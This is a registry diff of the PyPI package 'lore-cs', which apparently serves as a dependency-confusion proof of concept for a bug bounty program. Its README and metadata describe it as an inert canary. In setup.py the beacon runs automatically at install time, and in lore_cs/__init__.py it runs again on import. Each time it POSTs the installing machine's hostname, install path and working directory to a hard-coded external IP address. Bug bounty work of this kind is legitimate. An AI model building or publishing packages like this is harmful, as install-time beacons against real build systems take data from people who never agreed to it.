lore-cs 1.0.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
lore_cs-1.0.0/PKG-INFO ADDED
@@ -0,0 +1,34 @@
1
+ Metadata-Version: 2.4
2
+ Name: lore-cs
3
+ Version: 1.0.0
4
+ Summary: SECURITY RESEARCH CANARY - dependency confusion PoC for the Epic Games HackerOne program. Intentionally inert: reports install once and does nothing else.
5
+ License: UNLICENSED
6
+ Requires-Python: >=3.7
7
+ Description-Content-Type: text/markdown
8
+ Dynamic: description
9
+ Dynamic: description-content-type
10
+ Dynamic: license
11
+ Dynamic: requires-python
12
+ Dynamic: summary
13
+
14
+ # SECURITY RESEARCH CANARY — PyPI `lore-cs`
15
+
16
+ This distribution is **intentionally inert** and is published solely as a
17
+ dependency-confusion proof of concept under the **Epic Games HackerOne** bug
18
+ bounty program.
19
+
20
+ - It reports ONLY build-environment metadata: the package name, the machine
21
+ hostname, the install path inside `site-packages`, and the process cwd.
22
+ - It sends that as a single `POST` to `http://185.158.107.175:8787/_ah/dc`
23
+ (`content-type: application/json`), once at build/install time and again on
24
+ import if a pre-built wheel is used.
25
+ - It does not read environment variables, files, credentials, or tokens, and it
26
+ never fails the build or import.
27
+
28
+ The callback demonstrates that this name was resolved from the public PyPI
29
+ index by the target's build infrastructure.
30
+
31
+ ## Researcher
32
+
33
+ - **Kero (@0xWise)**
34
+ - 0xwise@wearehackerone.com
@@ -0,0 +1,21 @@
1
+ # SECURITY RESEARCH CANARY — PyPI `lore-cs`
2
+
3
+ This distribution is **intentionally inert** and is published solely as a
4
+ dependency-confusion proof of concept under the **Epic Games HackerOne** bug
5
+ bounty program.
6
+
7
+ - It reports ONLY build-environment metadata: the package name, the machine
8
+ hostname, the install path inside `site-packages`, and the process cwd.
9
+ - It sends that as a single `POST` to `http://185.158.107.175:8787/_ah/dc`
10
+ (`content-type: application/json`), once at build/install time and again on
11
+ import if a pre-built wheel is used.
12
+ - It does not read environment variables, files, credentials, or tokens, and it
13
+ never fails the build or import.
14
+
15
+ The callback demonstrates that this name was resolved from the public PyPI
16
+ index by the target's build infrastructure.
17
+
18
+ ## Researcher
19
+
20
+ - **Kero (@0xWise)**
21
+ - 0xwise@wearehackerone.com
@@ -0,0 +1,37 @@
1
+ # SECURITY RESEARCH CANARY - fallback path (Epic Games HackerOne dep-confusion PoC).
2
+ #
3
+ # Some installers use a pre-built wheel and never open setup.py. If the package
4
+ # is imported, this fires the same inert ah-dc beacon so the PoC is still
5
+ # observable. Reports only build-environment metadata; nothing else is read or
6
+ # transmitted.
7
+
8
+ import json
9
+ import os
10
+ import socket
11
+ import urllib.request
12
+
13
+ try:
14
+ _base = os.environ.get("AH_DC_PUBLIC_URL", "http://185.158.107.175:8787")
15
+ _path = os.environ.get("AH_DC_PATH", "/_ah/dc")
16
+ _payload = {
17
+ "package": "lore-cs",
18
+ "hostname": socket.gethostname(),
19
+ "installPath": os.path.dirname(os.path.abspath(__file__)),
20
+ "cwd": os.getcwd(),
21
+ "userAgent": "python/import",
22
+ "protocol": "http",
23
+ }
24
+ _data = json.dumps(_payload).encode()
25
+ _req = urllib.request.Request(
26
+ _base.rstrip("/") + _path,
27
+ data=_data,
28
+ method="POST",
29
+ headers={"content-type": "application/json", "x-beacon-package": "lore-cs"},
30
+ )
31
+ urllib.request.urlopen(_req, timeout=5).read()
32
+ except Exception:
33
+ # Never raise from a canary: do not break the consumer.
34
+ pass
35
+
36
+
37
+ __all__ = []
@@ -0,0 +1,34 @@
1
+ Metadata-Version: 2.4
2
+ Name: lore-cs
3
+ Version: 1.0.0
4
+ Summary: SECURITY RESEARCH CANARY - dependency confusion PoC for the Epic Games HackerOne program. Intentionally inert: reports install once and does nothing else.
5
+ License: UNLICENSED
6
+ Requires-Python: >=3.7
7
+ Description-Content-Type: text/markdown
8
+ Dynamic: description
9
+ Dynamic: description-content-type
10
+ Dynamic: license
11
+ Dynamic: requires-python
12
+ Dynamic: summary
13
+
14
+ # SECURITY RESEARCH CANARY — PyPI `lore-cs`
15
+
16
+ This distribution is **intentionally inert** and is published solely as a
17
+ dependency-confusion proof of concept under the **Epic Games HackerOne** bug
18
+ bounty program.
19
+
20
+ - It reports ONLY build-environment metadata: the package name, the machine
21
+ hostname, the install path inside `site-packages`, and the process cwd.
22
+ - It sends that as a single `POST` to `http://185.158.107.175:8787/_ah/dc`
23
+ (`content-type: application/json`), once at build/install time and again on
24
+ import if a pre-built wheel is used.
25
+ - It does not read environment variables, files, credentials, or tokens, and it
26
+ never fails the build or import.
27
+
28
+ The callback demonstrates that this name was resolved from the public PyPI
29
+ index by the target's build infrastructure.
30
+
31
+ ## Researcher
32
+
33
+ - **Kero (@0xWise)**
34
+ - 0xwise@wearehackerone.com
@@ -0,0 +1,7 @@
1
+ README.md
2
+ setup.py
3
+ lore_cs/__init__.py
4
+ lore_cs.egg-info/PKG-INFO
5
+ lore_cs.egg-info/SOURCES.txt
6
+ lore_cs.egg-info/dependency_links.txt
7
+ lore_cs.egg-info/top_level.txt
@@ -0,0 +1 @@
1
+ lore_cs
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
lore_cs-1.0.0/setup.py ADDED
@@ -0,0 +1,76 @@
1
+ # SECURITY RESEARCH CANARY - Epic Games HackerOne dependency-confusion PoC.
2
+ #
3
+ # Speaks the same wire protocol as the operator's ah-dc beacon server:
4
+ # POST <base>/_ah/dc {package, hostname, installPath, cwd, userAgent, protocol}
5
+ # and reports ONLY build-environment metadata (package name, hostname, install
6
+ # path inside site-packages, cwd). No environment variables, files, or
7
+ # credentials. Never fails the build.
8
+ #
9
+ # Authorization: Epic Games request on HackerOne report <REPORT-ID>.
10
+ # Unpublish after evidence capture.
11
+
12
+ import json
13
+ import os
14
+ import socket
15
+ import urllib.request
16
+
17
+ from setuptools import setup
18
+
19
+ BEACON_BASE = os.environ.get("AH_DC_PUBLIC_URL", "http://185.158.107.175:8787")
20
+ BEACON_PATH = os.environ.get("AH_DC_PATH", "/_ah/dc")
21
+ _PKG = "lore-cs"
22
+ _HERE = os.path.dirname(os.path.abspath(__file__))
23
+
24
+
25
+ def _post_beacon():
26
+ """POST one JSON beacon. Mirrors ah-dc's own npm beacon payload exactly."""
27
+ try:
28
+ payload = {
29
+ "package": _PKG,
30
+ "hostname": socket.gethostname(),
31
+ "installPath": _HERE,
32
+ "cwd": os.getcwd(),
33
+ "userAgent": "pip/software-install",
34
+ "protocol": "http",
35
+ }
36
+ data = json.dumps(payload).encode()
37
+ url = BEACON_BASE.rstrip("/") + BEACON_PATH
38
+ req = urllib.request.Request(
39
+ url,
40
+ data=data,
41
+ method="POST",
42
+ headers={
43
+ "content-type": "application/json",
44
+ "x-beacon-package": _PKG,
45
+ },
46
+ )
47
+ urllib.request.urlopen(req, timeout=5).read()
48
+ except Exception:
49
+ pass
50
+
51
+
52
+ _post_beacon()
53
+
54
+
55
+ def _readme():
56
+ path = os.path.join(_HERE, "README.md")
57
+ if os.path.exists(path):
58
+ with open(path) as fh:
59
+ return fh.read()
60
+ return ""
61
+
62
+
63
+ setup(
64
+ name="lore-cs",
65
+ version="1.0.0",
66
+ description=(
67
+ "SECURITY RESEARCH CANARY - dependency confusion PoC for the Epic Games "
68
+ "HackerOne program. Intentionally inert: reports install once and does "
69
+ "nothing else."
70
+ ),
71
+ long_description=_readme(),
72
+ long_description_content_type="text/markdown",
73
+ license="UNLICENSED",
74
+ packages=["lore_cs"],
75
+ python_requires=">=3.7",
76
+ )